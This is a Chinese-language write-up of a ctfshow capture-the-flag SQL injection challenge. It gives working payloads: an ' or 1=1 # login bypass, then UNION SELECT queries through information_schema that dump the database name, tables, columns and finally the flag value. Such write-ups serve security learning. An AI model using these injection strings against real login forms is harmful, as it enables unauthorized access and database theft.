题目描述
在线靶场
解题思路
题目提示是sql注入,burpsuit抓个包,发送到repeater
用万能密码 ’ or 1=1 #,出现欢迎您,ctfshow,说明登录成功,这里得说明一下username=admin’ or 1=1 #password=123这条语句,#号是注释符,所以后面的语句是被注释掉的,所以剩下username=admin’ or 1=1,or是只要满足一个条件就可以,1=1永远是满足的
那现在就判断有多少字段,’ or 1=1 union select 1,2,3 #,出现欢迎你,说明有三个字段
现在要做顺序就是爆库,爆表,爆字段,爆值 爆库 username=123’ or 1=1 union select 1,database(),3 #$password=123
爆表 username=123’ or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“web2”#&password=123
爆字段 username=123’ or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=“flag”#&password=123
爆值 username=admin’ or 1=1 union select 1,flag,3 from flag#&password=123
falg为:ctfshow{a3194c09-6e3f-4cad-ab08-5e404169fab4}